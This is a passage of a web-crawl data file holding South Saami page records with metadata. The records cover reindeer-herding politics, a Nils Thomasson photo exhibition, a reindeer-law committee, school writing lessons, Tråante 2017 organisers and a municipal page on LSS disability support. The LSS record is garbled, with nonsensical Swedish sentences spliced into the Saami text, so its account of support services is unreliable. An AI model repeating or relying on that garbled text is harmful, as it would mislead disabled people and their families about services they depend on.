åvteste daennie dajvesne. Dan gaavhtan sijhtebe seminaarem öörnedidh såemies faagealmetjigujmie jïh saemiepolitihkeles almetjigujmie NSR:ste gusnie daah maehtieh meatan årrodh ussjedidh gåabph geajnoe edtja guhkiebasse juhtedh dej reaktahaestemi sisnjeli mejtie daennie dajvesne utnebe. Ussjedibie mijjieh båatsoesiebrine ektine maehtebe areenine årrodh dagkeres barkose, Andersen minngemosth jeahta mij gegkeste voenges siebrie sæjhta 3-4 tjirkijh saemiedægkan åadtjodh mubpien saemiedigkieveeljemen mænngan.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/samimag.no\/se\/node\/1100","date":"2019-02-19T20:50:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247492825.22\/warc\/CC-MAIN-20190219203410-20190219225410-00456.warc.gz","language":"sma","language_score":0.9999904633,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999904632568359}","num_words":390,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuestiehtimme «Båatsoe tjååhpehkisnie jïh vyölkehkisnie» Nils Thomassonen guvviejgujmie rïhpeste goevten 6. b Saemien Sijtesne.\nNils Thomassonen fotografiske aerpie vadtasovvi Stiftelsen Jamtlise jïh destie daelie dejtie 30.000 guvvide stuvrelgi, soptsesinie, evtemes saemiej jieliemistie Nils Thomasson tïjjeste.\nGosse Staare 2018 heevehti dam voestes saemien tjåanghkoem 1918, Nils jïh Lucia Thomassonen slïektesiebrie veeljeme Jamtlin jïh Stiftelsen Saemien Sïjten ektine Snåasesne dam vuaptastehtedh vuesiehtimmine «Båatsoe tjååhpehkisnie jïh vyölkehkisnie». Nils Thomassonen guvviejgujmie.\nGosse Thomassonen aerpiem guvvijste vuesiehtidh dellie daerpies veeljedh maam edtja vuesiehtidh jïh daan aejkien mijjieh bovtsh jïh båatsoem veeljeme. Nils Thomasson lij bovtseburrie jïh jïjtje meatan ryöjnesji. Veele damti dejtie mejstie guvvieh veelti. Vuesiehtimmesne barkoem giedteste vuesehte gosse mieside mïerhkesjin jïh buhtjin, bovtsh vaeresne jïh reajnoemaennien aarkebiejjeste gosse tjöönghkin, juhtiejin, lïegkedin jïh dagkerh. Tjoerin bovtside ryöjnesjidh jïh våårenassh lin reajnoemaenniej aarkebiejjie, dannasinie röövrine daerpies.\nBåatsoe aaj jieleme fualhkan jïh maanah meatan viehkiehtin jïh aareh lïerin guktie dåemiedidh. Vuesiehtimmesne aaj guvvieraajroe gustie veeljeme gaajhkijste guvvijste maam Nils Thomasson maanijste vaalteme: maanah gïeh bovtsh stååkedieh, maanah reajnoemaennine jïh learohkh juhtijeskuvline.\nBeetnehvierhtieh vuesiehtæmman åådtjeme\nJïemhten Herjedaelien dajveste jïh Saemiedigkeste Sveerjesne\nNils Thomasson\nNils Thomasson (1880-1975) fotograafe, bovtseburrie, entreprenööre jïh saemie. Fotograafine Tjarvetjisnie (Gävle) ööhpehti jïh 1900-jaepiej aalkoevistie meehti sov vierhkine aelkedh. Thomasson dellie, guktie jeenh fotograafh 1900-jaepiej aalkoevisnie, bïjre jarkan dennie jïjtse voenesne mïnni jïh måedtie fotografiske barkoe darjoeji. Jïjtje soptsesti guktie aalkoevisnie utni sov lådkamera kassedtigujmie, göökte plååtine fïerhtene kassedtesne. Gosse njieljie guvvieh vaalteme tjoeri akten tjeallarasse tjaangedh, gusnie eevre jemhkelde jïh desnie vihth orre plååth kassedtide bïejedh. 1910-jaepiej gaskeste Nils Thomasson jïjtse vierhkiem Ååresne utni, gåaph jaepien 1916 elties fuelhkine juhtieji.\nVaeriefotograafine Nils Thomasson abpe Sveerjesne åehpies, jïh dovne ålkoerïjhkesne. Meatan orreme gelline Svenska Turistföreningenen jaepiegærjine jïh dovne guvvieh veelti maam almetjh dongkeme jïh guvvieh jïjtje mïelen mietie. Guvviej tjïrrh Thomassonen dam aareh turismem, båantaj jïh saemiej jielemem Jïemhtesne joekoenlaakan vïhtesji. Ij barre saemiej jieleme sutnjien vihkeles orreme, guvviejgujmie abpe Jïemhten leenem vïhtesji, gosse sjïelelaejpieh bååhkesjin, guktie sïeterinie, skåajjebarkijh, duarpehkh, stuarah (turisth) Ååren bergbanan baalte, hïejh jïh aarkebiejjie. Seamman aejkien Nils Thomasson lij reajnoemaennie jïh bovtsenbearkojne åesiesti jïh vaaroeh bovtseste. Gosse Staare 2018, tjuetiejaepien heevehtimmiem utni, dehtie voestes saemien rïjhketjåanghkoste, dellie aaj måjhtajidh Nils Thomasson lij meatan daennie voestes tjåanghkosne. Aaj meatan jeatjene lehkesne jïh saemiej gaavhtan barki.\nDïhte mij joekoen Nils Thomasson voenefotograafine lij evtemes saemie jïh saemien seabradahken lïhke lij jïh barkoem åadtjoeji, guvvieh saemijste vaeltedh bïjre jarkan dennie Jïemhten Herjedaelesne. Dejnie 30.000 guvvine mah aajmojne Thomasson mænngan gellie guvvieh mah saemide, saemiej jielemem jïh saemiej fuelhkide vïhtesjieh. Daesnie aaj gellie guvvieh vaeriebyjresistie jïh bovtsijste gååvnesieh.\nJamtli göökte gærjah Nils Thomassonen bïjre buakteme, Jämten 1981 jïh Samefotografen Nils Thomasson, Jon E Utsi, 1997.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/saemiensijte.no\/aktiviteter\/nils-thomassonen-guvvieh\/","date":"2019-02-16T11:14:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480272.15\/warc\/CC-MAIN-20190216105514-20190216131514-00200.warc.gz","language":"sma","language_score":0.999982357,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999823570251465}","num_words":421,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voestes saemien båatsoelaake- moenehtse nammoehtamme\nMoenehtsisnie, mij edtja dejnie ållesth gïehtjedimmine båatsoelaakeste\nbarkedh, daah almetjh:\nRagnhild Marit Sara – moenehtsen åvtehke, juriste\nKirsti Strøm Bull, professovre, dr. juris\nSamuel John N. Anti, båatsoesaemie\nNils Per Jåma, båatsoesaemie\nEllen Inga Turi, dr.philos dotkeme- jïh ööhpehtimmiedirektööre, dr. philos.\nNils Mikkelsen Utsi, advokaate, saemiedigkietjirkije jïh båatsoesaemie\nAnna Ravna Gaup, båatsoesaemie\nMattias Åhren, professovre, dr. juris\nEllen Sara Sparrok, båatsoesaemie\nSaemiedigkie jïh Nöörjen Båatsoesaemiej Rijhkesiebrie (NBR) leah aktem laakemoenehtsem nammoehtamme mij edtja båatsoelaakem gïehtjedidh. Saemiedigkie jïh NBR leah sïemes moenehtsen mandaaten bïjre.\n– Moenehtse edtja dejtie sisnjelds tsiehkide båatsosne vuartasjidh, jïh maahta vielie jarkelimmieh raeriestidh mah prosessh gorredieh mah leah vïedteldahkesne jïh legitimiteetem utnieh båatsosne., saemiedigkiepresidente Keskitalo jeahta.\n– Vihkeles laakese iktemierien vuartasjidh jïh leavloem bïejedh jielemen dååjrehtimmide aktine båatsoelaakine mij ij aktem almetjerïekteles njieptjiem utnieh. Gosse eevre tjïelke juvnehtimmieh åadtjodh guktie laake byöroe jorkesidh, dellie sæjhta aaj aelhkebelaakan Stoerredigkien vööste barkedh dej daerpies laakejarkelimmieprosessi bïjre, NBR:n åvtehke Ellinor Marita Jåma jeahta.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/sma\/content\/voestes-saemien-baatsoelaake-moenehtse-nammoehtamme","date":"2019-03-25T03:32:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203548.81\/warc\/CC-MAIN-20190325031213-20190325053213-00003.warc.gz","language":"sma","language_score":0.999884367,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998843669891357}","num_words":155,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse lohkeminie ih maehtieh tjaeliejinie govlesadtedh. Ih maehtieh gihtjedh jis ih guarkah maam tjaaleme jïh ih maehtieh govlesadtedh dejnie mejnie dov tjaalegem låhka. Dan gaavhtan vihkeles ussjedidh guktie tjaalah juktie lohkije edtja dov tjaalegem guarkedh.\nTjaelemen tjïrrh maehtebe disse-gåessie govlesadtedh. Datne maahtah snapem, e-påastem jïh SMS-bïevnesem seedtedh gåessie sïjhth. Ih daarpesjh ussjedidh man jïjnje tsåahka jallh gusnie datne.\nGellien aejkien tjaaleldh govlesadteme monologihke. Dan åvteste ibie iktegisth maehtieh dallah vaestiedidh dïsse maam tjaaleme.\nSoejkesjidh\nGosse edtjebe tjaeledh dellie maehtebe soejkesjidh guktie jïh maam edtjebe tjaeledh. Mijjieh kaanne jeatjah baakoeh nuhtjebe jïh mijjieh raajesh jeatjahlaakan tseegkebe enn gosse soptsestibie. Gosse tjaelebe dellie vihkeles daaj gyhtjelassi bïjre ussjedidh. Gïese tjaelebe? Man bïjre edtjebe tjaeledh? Guktie edtjebe tjaalegem tseegkedh? Mennie sjangerisnie?\nLohkedh\nGosse tjaalegem lohkebe dellie ibie viehkiem kråahpe-gïeleste jallh gïelen intonasjovneste åadtjoeh. Gellien aejkien ibie maehtieh seedtijem gihtjedh mearan lohkeminie. Mijjieh tjoerebe tjaalegem jïjtjemdh toelhkestidh jïh maehtebe ajve mijjen jïjtjemdh daajroem nuhtjedh.\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389","date":"2019-04-22T15:27:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00082.warc.gz","language":"sma","language_score":0.9999703169,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999703168869019}","num_words":216,"character_repetition_ratio":0.15,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije maahta viehkie-vierhtieh nuhtjedh gosse tjaalegem tjaala, guktie dahkoe jïh ov-vaantoe. Daejnie tjaelije maahta gellie bielieh aamhtesistie vuesiehtidh seamma tjaalegisnie.\nOv-vaantoe\nNaan aejkien tjaelije aalka ov-vaantoen bïjre soptsestidh, mij novellen aalkoe. Tjaelije daamhtaj ov-vaantoen bïjre novellesne tjaala. Romaanine jïh guhkebe soptsesinie dellie daamhtaj gellie ov-vaantoej bïjre lohkebe.\nOv-vaantoe lea vuesiehtimmien gaavhtan:\n- göökte jallh jienebh almetjh mah dïjveldieh\n- vuestie-bieliej bïjre almetji gaskemsh, aktene daaletjen jallh dovletjen perspektijvesne - vuestie-bieliej bïjre almetjen jïh siebriedahken gaskem\n- almetjen jallh almetji gïerve etihken veeljemen jallh veeljemi bïjre\nDahkoe\nNovelline jïh jeatjah åenehks soptsesinie gaavnebe mahte eejnegen barre akte dahkoe mij soptsesisnie jåhta. Guhkebe soptsesinie dellie daamhtaj jienebh dahkoeh. Jis dah ovmessie dahkoeh juhtieh seamma aejkesne, dellie mijjieh dejtie parallelle dahkojne gohtjebe.\nBaakoeh\n|Saemien||Daaroen|\n|dahkoe||handling|\n|ov-vaantoe||konflikt|\n|vuestie-bielie||motsetning|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171268","date":"2019-04-24T11:14:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578640839.82\/warc\/CC-MAIN-20190424094510-20190424120510-00412.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":129,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah lohkedh guktie maahtah soptsesem analyseradidh. Kaanne sïjhth jïjtje soptsestem soptsestidh jallh tjaeledh?\nTjaalege\nTjaalegen aalkoe buerkeste:\n- Gusnie heannede\n- Gïeh meatan\nTjaalegen åejvie-boelhkesne:\n- Tjaelije soptseste mij heannede\n- Tjaalegen galhkuve buerkeste guktie sjædta\nSoptsesem tjaeledh\nDaesnie raerieh guktie datne maahtah soptsesem tjaeledh. Åvtelen aalkah tjaeledh, tjoerh tjaalegem soejkesjidh:\n- Mij lea soptsesen ov-vaantoe?\n- Mah almetjh råakebe?\n- Gusnie libie?\nTjaelieminie\nGosse datne tjaalegem tjaelieminie tjoerh ussjedidh, man varke jïh tjarke soptsesem soptsesth. Åenehks raajesigujmie dellie soptsese varkebe jåhta. Guhkebe raajesigujmie, mah byjresem jallh dah almetjh buerkiestieh, dellie soptsese ij dan varke juhtieh. Jis gaajhkh sööjmes juhtieh, dellie tjaalege ov-rovne sjædta. Men jis soptsese varke jåhta, dellie kaanne gïervebe sjædta dam guarkedh.\nMænngan leah tjaaleme\nMænngan datne leah tjaalegem tjaaleme, dellie tjoerh naan tsiehkieh gïehtjedidh:\n- Daate ektiedimmie-tjaalege?\n- Guktie leah soptsesen boelhkh ektiedamme? Daan aalkoe, åejvieboelhke jïh galhkuve.\n- Guktie soptsese gieltegåbpoe sjædta?\nDatne lohkijem tjaalegasse böörh\nAalkovisnie mijjen göökte ulmieh:\n- Mijjieh tjoerebe tjaalegem aelkedh guktie lohkije sæjhta vielie lohkedh.\n- Mijjieh tjoerebe tsiehkiem åehpiedehtedh.\nVuesiehtimmie:\n\"Riepie lij ikth sualadamme naa jïjnjh bovtsh. Doh jeatjah juvrh lin viehkiehtamme leekeme. Jïh dle krovhten dle tseegkin.\"[1]\nMijjieh lohkebe dellie tsiehkie lea riepie lea bovtsh sualadamme jïh dah jeatjah juvrh dejtie leekin. Dellie aelkebe ussjedidh guktie daate sjædta?\nOv-vaantoem åehpiedehtedh\nDellie edtjebe dah persovnh soptsesisnie åehpiedehtedh. Daesnie tjaelije tjuara soptsestidh dan jïjnje guktie lohkije soptsesem guarkoe. Daate boelhke ij daarpesjh dan gieltegs årrodh.\nVuesiehtimmie:\n\"Gosse dïhte bearkoe lij dle doelteme, dle dïhte riepie vaadtsa akten sporjehke deavan nïlle jïh dle gylje: \"Dle maa manne vuajnam almetjh röövrigujmie jïh saejhtiejgujmie jis båetieh! » Gaajhkh juvrh dan bïllijin, hajkelin varke edtjin tjïekedidh. Njåemele jïh tjetskie hajkejigan akten krovhten nualan tjïekedigan.\"[2]\nDaate lea maam riepie ussjede, dïhte sæjhta dah jeatjah juvrh edtjieh daebpede vuelkedh. Riepie sæjhta dejtie beltedh.\nVielie bïevnesh ov-vaantoen bïjre\nDaennie boelhkesne edtjh vielie ov-vaantoen jallh heannadimmiej bïjre tjaeledh. Daesnie maahtah tjuvtjiedidh mïsse edtja båetedh, men aellieh fer jïjnjem tjaelieh.\n\"Numhtie dle tjïrrelgöötin dah altese bieljie-gietjieh. Jïh numhtie die leah dah tjeehpes daan biejjien aaj guktie åvtetje biejjieh. Dïhte tjetskie dïhte golh båelti dam altese siejpie-gietjiem aaj. Jïh numhtie die lea dïhte aaj tjeehpes.\"[3]\nDaesnie soptsestæjja buerkeste guktie tjetskien bieljie-gietjieh jïh siejpie-gietjie tjeehpes sjïdtin. Saemien soptsesinie gellien aejkien eatnemen jïh juvri bïjre.\nSoptsesem galhkedh\nMinngemes dellie gaajhkh bïevnesh båetieh jïh soptsestæjja soptseste guktie sjædta:\n\"Jïh dïhte riepie! Dïhte golh gaajhke bearkoem oktegh bårreli.\"[4]\n\"Ikth lij ...\" Naemhtie gellie soptsesh aelkieh. Mij dan minngesne båata? Daam maahtah daennie sæjrosne lïeredh.\nBaakoeh\n|Saemien||Daaroen|\n|man varke||tempo|\n|man tjarke||intensitet|\n|ektiedimmie-tjaalege||sammenhengende tekst|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171136","date":"2019-04-19T17:04:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00476.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":415,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maalle maam maahtah nuhtjedh gosse edtjh gærjam jïh filmem viertiestidh. Maahtah seamma maallem nuhtjedh jis edtjh tjaalegem\/soptsesem jïh filmem viertiestidh.\nAalkoe\n- Åehpiedehtieh tjaalegem jïh filmem åenehkslaakan. Tjaelieh tjaelijen\/regissöören nomme, gåessie tjaalege jïh filme bæjhkoehtamme.\n- Tjaelieh åenehks iktedimmiem tjaalegistie. Mij lea dahkoe? Gieh dah vihkielommes persovnh? Mennie byjresinie heannadimmieh heannedieh? Guktie tjaalege bigkeme? Mij lea teema?\nAnalyjse-boelhke\n- Seamma teema filmesne jïh tjaalegisnie?\n- Komposisjovne\/dramaturgije: Seamma sisvege filmesne jïh tjaalegisnie? Maam jeatjahtahteme? Maam akt orre lissiehtamme? Maam akt sleajhteme? Heannadimmieh seamma öörnegen mietie båetieh filmesne jïh tjaalegisnie?\n- Seamma vuajnoe filmesne jïh tjaalegisnie?\n- Guktie persovnh buerkiestamme tjaalegisie jïh filmesne?\n- Byjrese seammalaakan buerkiestamme?\n- Seamma aajmoe filmesne guktie tjaalegisnie?\n- Mah viehkie-vierhtieh filmesne nuhtjeme juktie aajmoem skaepiedidh jïh juktie dahkoe edtja buerebe vååjnesasse båetedh? Vg: klaerieh, tjoeje, musihke, guvvie-haerie, filme-tjoehpeme\nGalhkuve\n- Buerkesth guktie datne adaptasjovnem dååjredh\n- Vuarjesjh adaptasjovnem\nAdaptasjovne\nMijjieh baakoem adaptasjovne nuhtjebe gosse mijjieh tjaalegem juhtebe aktede medijumeste måbpan medijumese, vuesiehtimmien gaavhtan tjaalegistie filmese.\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\n- Kjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:190992","date":"2019-04-19T17:14:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00002.warc.gz","language":"sma","language_score":0.9998163581,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999816358089447}","num_words":212,"character_repetition_ratio":0.15,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Öörnedimmie:\n- Åejviemoenehtsisnie Saemiedigkiepresidente Aili Keskitalo, Tjïelten åejvie Rita Ottervik Tråanten tjïeltesne jïh Fylhkentjïelten åejvie Tore O. Sandvik Åarjel-Trööndelagen fylhkentjïeltesne jïh Fylhkenraerie May Britt Lagesen Noerhte-Trööndelagen fylhkentjïelteste.\n- Stuvremedåehkesne åvtehke Magne Svineng Saemiedigkeste, Rune Kjenstad Tråanten tjïelteste, Knut Wik Åarjel-Trööndelagen fylhkentjïelteste, Morten Haugen Noerhte-Trööndelagen fylhkentjïelteste, Lennart Mikkelsen Saemiedigkeste jïh Kristin Sara prosjekteste Samisk Rom.\n- Prosjekterereme: Prosjektenåejvie Ida Marie Bransfjell, produsente Kari Thorvik jïh govlesadtemen åvtehke Johanne Sundby.\n- Referansedåehkieh: Referansedåehkieh\/aktöörh vihkeles maahtojne saemien gïelen, kultuvren jïh histovrijen sisnjeli nammoehtamme sjidtieh daerpiesvoeten mietie.\nLaavenjostoeguejmieh:\nNORD universiteete – åarjelsaemien, histovrijes dotkemeprosjekte","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.xn--trante2017-25a.no\/sme\/traante-2017n-bijre\/oornedimmie\/","date":"2019-05-19T21:07:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255165.2\/warc\/CC-MAIN-20190519201521-20190519223521-00080.warc.gz","language":"sma","language_score":0.9490262866,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9490262866020203, \"sme_Latn_score\": 0.05075737461447716}","num_words":85,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Insatser enligt LSS. För vem gäller LSS\nGïese LSS leah\nLaake dåarjegen jih hoksehtimmien mietie leah daejtie:\n- almetjh mah evtiedimshearaldehteme jih almetjh autismin jallh seammalaakan\n- almetjh mah aajla-arhkanimmien männgan, geerve jaepine, stoerre jih tjåadtjoehtimmie väjkelesvoete ov-verviem utnieh\n- almetjh jeatjah ov-verviejgujmie mah ij leah sïejhme voeresistie jih darjoeh ahte fëerhten beajjetji darjomh aehpie Leah\n9§ Barkoeh sjïere dåarjegasse jih hoksehtämman leah\n1. Raeriem jih jeatjah jïjtsh dåarjegem mah krïevem sjïere maahtose bihkede, dåeriesmoeri jih jielemen bïjre almetjidie mah stoerre jih tjåadtjoehtimmie ov-verviejgujmie leah.\nBarkojde maehtieh juktie raeriem vidhäh jih dåarjegisnie årrodh aajne-almetjasse goh lïhkesadtjide jih barkijh ihke barkojde edtjieh buerie mïeses årrodh. Raerie Jih dåarjegem kuratovreste, psykologeste, skïemtjegymnasteste, barkoeterapauteste, logopedeste, aarhskuvlekonsulenteste jih jienebh barkoedåehkeste vedtien, mah leah vihkeles ihke buerie dåarjegem vedtedh.\nUlmiem ij leah skijemtjesåjhtoen boehtjierdimmiem \/ rehabiliteringem jallh jeatjah barkoeh vedtedh mah leah nuhtjemedajvesne Healsoejih Skimmehokselaakem, jih ij leah hellh dagkeres sosialen hoksehtimmieh mah sosialedienesem edtja faaledh jallh pedagogihken barkoeh mah lohkehtimmesne Leah.\nMijjen tjïteesne laantedigkien Raeriejih dåarjegedåhkeste dåerjegem vadta. Barkoem maahtah Ov-verviendarjoste syökedh,\nHandikappverksamheten, Volgsjövägen 24 5 tr.\nTelefovne 0940-121 57,\n0940-126 60 jallh 0940-126 62, jallh adresser nuelesne\nLandstingshuset, Handikappverksamheten Köksvägen 11, 901 89 Umeå.\nTelefovne 090-785 74 49.\n2. Viehkie jïjtsh assistenteste jallh ealamadtje dåarjegem buerie maaksose dagkeres viehkide, biehkie daerpiesvoeteste ealamadtjen dåarjegistie ij gaptjen assistansetäjmojste mah laeviehtamme guktie laakesne assistansemaaksoen bïjre tjåådtje.\nJïjtsh assistansem lea aktem jjjjdh dorjese dåarjegem mah gaertjedimmie almetjijstie vedtien, dysen mig ov-vervien gaavhtan viehkiem maadth-daerpiesvoetigujmie derpesjh vg. jïjtsh hygienem, vaarjoeh tsaekedh jih noeledh, byöpmedalledh jallh mubpiejgujmie soptsestidh.\nDåarjegem jih viehkiem edtjiejägan jaksoes sutnjan ovmessie darjomisnie jih darjojne, ovmessie tijjh dygnesne årrodh. Gå åtgärden med hjälp av att hjälpa dig att hjälpa dig med hjälp av dina hjälpmedel.Jis viehkiedaerpiesvoetem jienebh sjädta goh 20 täjmoeh våhkosne maahtah assistansemaaksoem (LSS) tjirkemekassan tjyrr syökedh.\n3. Vaedtsiehtäjjahoksehtimmiem\nUlmiem vaedtsiehtäjjahoksehtimmine lea ahte dëhte aajne edtja viehkiem åadtjodh olkese almetjigåejkoe buektedh båteth, vuesiehtimmien gavnvärdigt født i mödrarna gick inte ihjäl med en jallh köttkultivärde. Vaedtsiehtäjjahoksehtimmiem lea ihke ij edtjh oktegh sjïdtedh ov-vervien gaavhtan. Barkoem edtja årrodh goh jïjtsh hoksehtimmiem jih darjodh guktie jïjtse sjeahta. Dähte mij dåehkiegåetieluhpesne årroen maahta sjïere aejkesne barkoem vaedtsiehtäjjahoksehtimmiem aaj laeviehtidh.\n4. viehkie gaskesadthalmetjistie\nViehkie akten gaskesadthalmetjistie lea akten ov-professionell dåarjegem mig akten almetjistie vad jag har att göra med att du alltid har det bra med dig. Ij krïevem sjïere barkoemaahtoste leah. Akten vihkeles laavanjassem gaskesadthalmetjasse lea ihke tsööpkedh ihke dïhte mij ov-vervesne adtja damtedh ahte oktegh lea gosse dåarjegem jih viehkiem åadtjoe gåessie eejehtallemedarjomh. Gaskesadthalmetjem maahta AAJ raeriem faredh jallh saadth almetjem årrodh ovmessie tsiehkide mah eah Leah Daan barkoes, vuesiehtimmien gaavhtan ahte bueriealmetjem jallh juridihken maahtoem tjuara gaskesadtedh. Gaskesadthalmetjem biehkie maaksoem tjïelteste åadtjoeh\n5.målsomehoksehtimmiem gåetesne\nBarkoem målsomehoksehtimmiem gåetesne lea ahte nuepiem lïhkesadtjide, jallh fuelhkiehïejmeeejhtegidie darjodh, ihke lïegkedimmiem åadtjodh jih mijakt barkoeh gåeteste darjodh. Målsomehoksehtimmiem maahta faaledh goh rıkteslaakan barkoem jallh viehkiem gåessie dallah daerpiesvoetesne lea.\n6.åenehksårrometijjem ålkone jïjtsh gåeteste\nUlmiem åenehkstijjeårrometijjine lea ahte dïhte mij ov-vervesne edtja byjresemålsomem jih rekreasjovnem åadtjodh, ihke lïhkesadtjide edtjieh målsomem hoksebarkojne åadtjodh. Maahtah vååjnodh goh alternatijve mållsomehoksehtämman. Åenehksårrometijjem maahta åenehkstijjehïejmesne årrodh jallh jeatjah fuelhkesne, dagkeres dåarjegefuelhkiem. Gīesiebïesieh jih åenehkskuvsjh maehtieh aaj akten hammoem åenehksårrometijjem årrodh. Åenehksårrometijjem maahta faaledh gåebpegh goh daamhtah barkoem jih barkoem gåessie dallah daerpiesvoete lea.\n7. Åtgärderna för att hävda att det är 12 år och ett år gammalt är att gå i skolan, och det är inte så mycket som möjligt.\nSkuvlenoerh 12 jaepien båeries bijjelen mah ov-vervine maehtieh dagers åenhkstijjegeehtemem hïejmen ålkolisnie åvtelen jih skuvlen männgan åadtjodh gåessie eejehtalleme, lohkemebiejjh jih 